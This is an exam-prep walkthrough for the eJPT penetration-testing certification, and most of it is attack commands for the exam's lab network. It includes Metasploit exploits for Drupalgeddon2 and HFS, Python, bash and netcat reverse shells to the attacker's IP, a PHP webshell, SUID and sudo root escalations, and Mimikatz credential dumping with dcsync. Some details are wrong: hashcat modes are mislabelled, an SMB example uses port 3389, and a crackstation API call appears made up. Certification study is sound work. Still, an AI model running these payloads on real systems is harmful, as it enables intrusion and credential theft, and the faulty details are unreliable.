

# eJPT v2 Complete Exam Walkthrough Guide

## EXAM OVERVIEW: WHAT TO EXPECT

| Component   | Details                                                              |
|-------------|----------------------------------------------------------------------|
| Format      | 35 multiple-choice questions based on hands-on lab tasks             |
| Duration    | 48 hours from activation (most complete in 4-13 hours)               |
| Environment | Simulated corporate network with DMZ + internal segments             |
| Scoring     | 70%+ to pass; Merit at 90%+                                          |
| Grading     | Answers + methodology tracking (enumeration, exploitation, pivoting) |

## PRE-EXAM PREPARATION CHECKLIST

### Essential Tools (Pre-Installed in Exam Kali)

Bash

# Verify critical tools are accessible

which nmap netdiscover enum4linux sqlmap metasploit msfvenom john hashcat

### Recommended Pre-Exam Setup

Bash

# Create organized note-taking structure

mkdir -p ~/ejpt/{recon,exploits,creds,flags,pivoting}

touch ~/ejpt/notes.md ~/ejpt/commands.log

```
# Prepare wordlists
ls /usr/share/wordlists/ # Confirm rockyou.txt, default passwords
gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null

# Configure Metasploit database (speeds up searches)
msfdb init
```

---

## **PHASE 1: INITIAL RECONNAISSANCE (First 30 Minutes)**

### **Step 1: Identify Your Attack Box Network**

```
Bash
# Get your Kali interface details
ip a s eth0
route -n
cat /etc/resolv.conf
```

```
# Expected output example:
# eth0: 192.168.100.10/24
# Gateway: 192.168.100.1
```

### **Step 2: Discover Live Hosts (Critical First Step)**

```
Bash
# Method A: ARP-based discovery (fastest for local subnet)
netdiscover -r 192.168.100.0/24 -i eth0

# Method B: ICMP ping sweep
nmap -sn 192.168.100.0/24 -oG ~/ejpt/recon/live_hosts.txt

# Method C: Aggressive host discovery (if above fail)
nmap -PE -PP -PS22,80,443 -PA21,23,3389 -sn 192.168.100.0/24
```

 **Pro Tip:** Save ALL output to files immediately. Many questions can be answered by re-reading scan results later.

### **Step 3: Read ALL Questions First (Most Important Strategy)**

```
# Open exam interface in browser
# Scroll through all 35 questions WITHOUT answering yet
# Take notes on:
# - Which IPs are referenced
# - What specific data is requested (flags, hashes, versions)
# - Any hints about services/exploits
```

 **Critical Insight:** Questions often contain hints about what to find. Reading them first saves hours of blind enumeration.

## **PHASE 2: SERVICE ENUMERATION (Hours 1-3)**

### **Comprehensive Port Scanning Strategy**

# For each discovered host, run layered scans:

# Layer 1: Quick service detection

```
nmap -sV -sC -p- -T4 -Pn -oN ~/ejpt/recon/[IP]_full.txt [IP]
```

# Layer 2: OS detection (if needed for questions)

```
nmap -O --osscan-guess -p [common_ports] [IP]
```

# Layer 3: Vulnerability scripts for key services

```
nmap -p 80,443 --script http-vuln* [IP]
```

```
nmap -p 445 --script smb-vuln* [IP]
```

```
nmap -p 3306 --script mysql-vuln* [IP]
```

### **Service-Specific Enumeration Commands**

#### **Web Servers (Ports 80/443/8080)**

# Banner grabbing

```
curl -I http://[IP]/
```

```
openssl s_client -connect [IP]:443 -quiet
```

# Directory brute-forcing

```
gobuster dir -u http://[IP]/ -w /usr/share/wordlists/dirb/common.txt -o ~/ejpt/recon/[IP]_dirs.txt
```

# CMS detection

```
whatweb http://[IP]/
```

```
wpscan --url http://[IP]/wordpress/ --enumerate vp,vt,u 2>/dev/null
```

# SQL injection testing (automated)

```
sqlmap -u "http://[IP]/page.php?id=1" --batch --dbs 2>/dev/null
```

#### **Windows/SMB Services (Ports 139/445)**

# Null session enumeration

```
smbclient -L //[IP]/ -N
```

```
enum4linux -a [IP] > ~/ejpt/recon/[IP]_smb.txt
```

```
# User/share enumeration with credentials
crackmapexec smb [IP] -u 'username' -p 'password' --shares --users
```

```
# RPC enumeration (if enum4linux fails)
rpcclient -U "" [IP]
> enumdomusers
> querydominfo
```

### **Linux Services (SSH, MySQL, etc.)**

```
# SSH brute-force (if permitted by question)
hydra -L /usr/share/wordlists/metasploit/unix_users.txt \
-P /usr/share/wordlists/rockyou.txt \
ssh://[IP] -t 4 -V
```

```
# MySQL enumeration
mysql -h [IP] -u root -p # Try blank password first
# If connected:
SHOW databases;
USE [database];
SHOW tables;
SELECT * FROM users;
```

```
# FTP anonymous access check
ftp [IP]
# Username: anonymous, Password: anything
```

---

## **PHASE 3: EXPLOITATION WORKFLOW (Hours 3-8)**

### **Metasploit Exploitation Template**

```
# Start Metasploit with database
msfconsole -q
```

```
# Search for relevant exploit
search [service_name] [cve] [version]
# Example: search drupalgeddon2, search hfs, search badblue
```

```
# Configure exploit
use [exploit_path]
show options
set RHOSTS [target_IP]
```

```
set RPORT [port]
set TARGETURI [path] # e.g., /drupal, /hfs
set LHOST [your_Kali_IP]
set LPORT 4444
```

```
# Verify and execute
check # If available
exploit -j # Run as job to keep console free
```

## Common eJPT Exploits & Commands

### Drupalgeddon2 (CVE-2018-7600)

```
# Confirm version via CHANGELOG
curl http://[IP]/drupal/CHANGELOG.txt | grep "Drupal 7"
```

```
# Metasploit exploitation
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS [IP]
set TARGETURI /drupal
set LHOST [your_IP]
run
```

```
# Post-exploitation: Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null
# If /usr/bin/find has SUID:
/usr/bin/find . -exec /bin/bash -p \; -quit # Root shell
```

### HttpFileServer (HFS) RCE

```
# Search and configure
search rejtto hfs
use exploit/windows/http/rejtto_hfs_exec
set RHOSTS [IP]
set TARGETURI /
exploit
```

```
# Post-exploitation: Upload tools
meterpreter > upload /path/to/nc.exe C:\\Users\\Public\\
meterpreter > shell
C:\> nc.exe -e cmd.exe [your_IP] 4445 # Reverse shell
```

## **WordPress File Manager (CVE-2020-25213)**

# Manual exploitation via curl

```
curl -F "file=@shell.php" \  
-F "path=/" \
```

```
"http://[IP]/wordpress/wp-admin/admin.php?page=wm_edit_file&item=shell.php&action=upload"
```

# Then access webshell

```
curl http://[IP]/wordpress/wp-content/uploads/shell.php?cmd=id
```

## **Manual Exploitation (When Metasploit Fails)**

# Python reverse shell one-liner

```
python3 -c 'import  
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[Y  
OUR_IP]",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;  
pty.spawn("bash")'
```

# Bash reverse shell

```
bash -i >& /dev/tcp/[YOUR_IP]/4444 0>&1
```

# PHP webshell upload (if file upload vuln)

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

```
curl -F "file=@shell.php" http://[IP]/upload.php
```

```
# Execute: http://[IP]/uploads/shell.php?cmd=id
```



## **PHASE 4: PRIVILEGE ESCALATION (Hours 4-10)**

### **Linux Privilege Escalation Checklist**

# 1. Check kernel version for exploits

```
uname -a
```

```
searchsploit linux kernel [version]
```

# 2. SUID binaries

```
find / -perm -u=s -type f 2>/dev/null
```

# Common exploitable: find, nmap, vim, bash, python

# 3. Sudo permissions

```
sudo -l
```

# If (ALL) NOPASSWD: /usr/bin/find → escalate with:

```
sudo find /dev/null -exec /bin/bash \;
```

# 4. Writable /etc/passwd or cron jobs

ls -la /etc/cron\* /var/spool/cron/

cat /etc/passwd | grep -v nologin

# 5. Internal services listening locally

ss -tulpn | grep 127.0.0.1

# May reveal MySQL, Redis, etc. accessible only from localhost

## Windows Privilege Escalation Checklist

# From Meterpreter or CMD shell:

# 1. System info

systeminfo

wmic qfe list # Check for missing patches

# 2. User/group membership

whoami /all

net user [username]

# 3. AlwaysInstallElevated check (MSI exploitation)

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

# 4. Unquoted service paths

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" | findstr /i /v ""

# 5. Token impersonation (if SeImpersonatePrivilege)

# Use Metasploit's incognito or manual token theft

meterpreter > load incognito

meterpreter > list\_tokens -u

meterpreter > impersonate\_token "NT AUTHORITY\SYSTEM"

## Credential Dumping Commands

# Linux: Hash extraction

cat /etc/shadow # If readable

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Windows: Meterpreter Kiwi (Mimikatz)

meterpreter > load kiwi

meterpreter > creds\_all

meterpreter > lsa\_dump\_sam

meterpreter > dcsync\_ntlm krbtgt # If domain controller

```
# Hash cracking formats
hashcat -m 0 hashes.txt rockyou.txt    # NTLM
hashcat -m 1000 hashes.txt rockyou.txt  # NTLMv1
hashcat -m 5600 hashes.txt rockyou.txt  # NetNTLMv2
john --format=raw-md5 hash.txt          # Raw MD5
```

---

## **PHASE 5: PIVOTING TO INTERNAL NETWORKS** **(Hours 6-15)**

### **Identifying Pivot Candidates**

```
# After compromising a host, check for multiple interfaces:
# Windows:
ipconfig /all
# Look for adapters with different subnets (e.g., 192.168.1.x AND 10.10.10.x)

# Linux:
ip a
route -n
# Check for routes to internal networks
```

### **Metasploit Autoroute Method (RECOMMENDED over SOCKS)**

```
# From existing Meterpreter session:
meterpreter > run autoroute -s 10.10.10.0/24 # Add internal subnet
meterpreter > run autoroute -p # Verify routes
```

```
# Background session and scan internal network
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set THREADS 50
run
```

```
# Exploit internal hosts using existing session as proxy
use exploit/[module]
set RHOSTS 10.10.10.50
set SESSION [compromised_session_id] # Use pivot session
exploit
```



## Port Forwarding for Specific Services

```
# Forward internal RDP (3389) to local port
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50
```

```
# Then connect locally:
```

```
rdesktop localhost:3389
```

```
# Or for SMB:
```

```
smbclient -L //localhost -U user%pass -p 3389
```

## Proxychains Alternative (If Autoroute Fails)

```
# Configure /etc/proxychains4.conf:
```

```
[ProxyList]
```

```
socks4 127.0.0.1 1080
```

```
# Start SOCKS proxy from Meterpreter:
```

```
meterpreter > run autoroute -s 10.10.10.0/24
```

```
meterpreter > run post/multi/manage/socks_proxy
```

```
# Use with tools:
```

```
proxychains nmap -sT -Pn 10.10.10.50
```

```
proxychains curl http://10.10.10.50/admin
```

 **Critical Tip:** MSF autoroute is significantly more stable than SOCKS proxy during the exam environment.

---

## QUESTION-TYPE SPECIFIC SOLUTIONS

### Type 1: "What is the hostname of [IP]?"

```
Bash
```

```
# From Nmap output (if saved):
```

```
grep -i "hostname" ~/ejpt/recon/[IP]_full.txt
```

```
# Or query directly:
```

```
nmap -sV -sC --script dns-brute [IP]
```

```
nslookup [IP]
```

### Type 2: "What is the flag in /root/flag.txt?"

```
# If you have root access:
```

```
cat /root/flag.txt
```

```
# Or via Meterpreter:
```

```
meterpreter > cat /root/flag.txt
```

### **Type 3: "What is the NTLM hash of user X?"**

```
# From Meterpreter Kiwi:  
meterpreter > load kiwi  
meterpreter > creds_all  
# Look for NTLM column in output
```

```
# Or from SAM dump:  
meterpreter > lsadump_sam  
# Extract hash for specific user
```

### **Type 4: "What CVE was exploited to gain initial access?"**

```
# Check Metasploit job history:  
jobs -v  
# Or review your notes from exploit selection
```

```
# Common eJPT CVEs to recognize:  
# CVE-2018-7600 (Drupalgeddon2)  
# CVE-2020-25213 (WordPress File Manager)  
# CVE-2014-6271 (Shellshock)  
# CVE-2019-0708 (BlueKeep - RDP)
```

### **Type 5: "What is the internal IP of the pivot host?"**

```
# From compromised pivot host:  
# Windows:  
ipconfig | findstr "IPv4"  
# Linux:  
ip a | grep inet | grep -v 127.0.0.1
```

```
# Look for non-DMZ subnet (e.g., 10.x.x.x when DMZ is 192.168.x.x)
```



## DOCUMENTATION & SUBMISSION STRATEGY

### Real-Time Note-Taking Template

eJPT Exam Notes - [Date]

#### Discovered Hosts

| IP           | Hostname | OS      | Key Services  | Credentials Found    |
|--------------|----------|---------|---------------|----------------------|
| 192.168.1.10 | WEB01    | Linux   | Apache 2.4.29 | admin:admin123       |
| 192.168.1.20 | DC01     | Windows | SMB, RDP      | Administrator:[hash] |

#### Exploits Used

- [IP] Drupalgeddon2 → www-data shell → SUID find → root
- [IP] HFS RCE → Meterpreter → NTLM hashes

#### Pivoting

- **Pivot Host:** 192.168.1.20 (dual-homed)
- **Internal Subnet:** 10.10.10.0/24
- **Route Added:** run autoroute -s 10.10.10.0/24

#### Flags Collected

- **Flag 1:** {eJPT\_...} (from /root/flag.txt on WEB01)
- **Flag 2:** {eJPT\_...} (from C:\Users\Administrator\flag.txt on DC01)



## TROUBLESHOOTING COMMON ISSUES

### Issue: "Metasploit module fails to exploit"

# Debug steps:

1. Verify target service version matches exploit requirements
2. Check network connectivity: ping [IP], telnet [IP] [port]
3. Try manual exploitation (curl, python scripts)
4. Switch payloads: windows/meterpreter/reverse\_tcp → reverse\_http
5. Check firewall: nmap -sA [IP] to detect stateful filtering

## Issue: "Can't access internal host after pivoting"

# Verification steps:

1. Confirm route is active:  
meterpreter > run autoroute -p
2. Test connectivity through pivot:  
meterpreter > run post/multi/manage/ping  
set RHOSTS 10.10.10.50
3. Try direct port forward instead of full subnet:  
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50  
curl localhost:8080

## Issue: "Hash cracking too slow"

# Optimization strategies:

1. Use hashcat with GPU acceleration (if available):  
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --force
2. Try targeted wordlists first:  
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt \\  
--username -O # Optimized kernel
3. Online lookup for common hashes:  
curl "https://crackstation.net/api.php?hash=[HASH]&key=guest"

## FINAL EXAM DAY TIPS

### Time Management Strategy

Hour 0-0.5: Read ALL questions, note target IPs  
Hour 0.5-3: Full enumeration of all hosts (nmap -p-)  
Hour 3-8: Exploitation of easy wins (anonymous FTP, default creds)  
Hour 8-12: Privilege escalation + credential dumping  
Hour 12-18: Pivoting to internal network + deeper exploitation  
Hour 18-24: Answer verification, flag collection, documentation  
Hour 24-48: Review, re-check uncertain answers, submit

### Critical Success Factors

- **Document everything immediately** - Don't rely on memory
- **Test credential reuse everywhere** - Same password often works across services
- **Don't overcomplicate** - eJPT is entry-level; solutions are usually straightforward
- **Take breaks** - Mental fatigue causes missed details; step away every 2-3 hours

- **Verify before submitting** - Many mistakes come from rushing answers

## Emergency Recovery Commands

# If you lose your shell:

# Reconnect via original exploit method

# Or try alternative access:

ssh user@[IP] # With found credentials

rdesktop [IP] # If RDP open

smbclient //[IP]/share -U user%pass

# If Metasploit crashes:

msfconsole -r ~/ejpt/commands.log # Replay saved commands

# If network config breaks:

dhclient eth0 # Renew DHCP

systemctl restart networking # Restart network service

 **Ethical Reminder:** These techniques are for authorized security testing only. Always obtain written permission before testing any system you do not own. Unauthorized access violates computer crime laws globally.

 **Final Pro Tip:** The eJPT tests methodology more than memorization. Focus on understanding *why* each command works, not just copying syntax. During the exam, if stuck for >15 minutes on a question, flag it and move on—momentum is critical in a 48-hour window.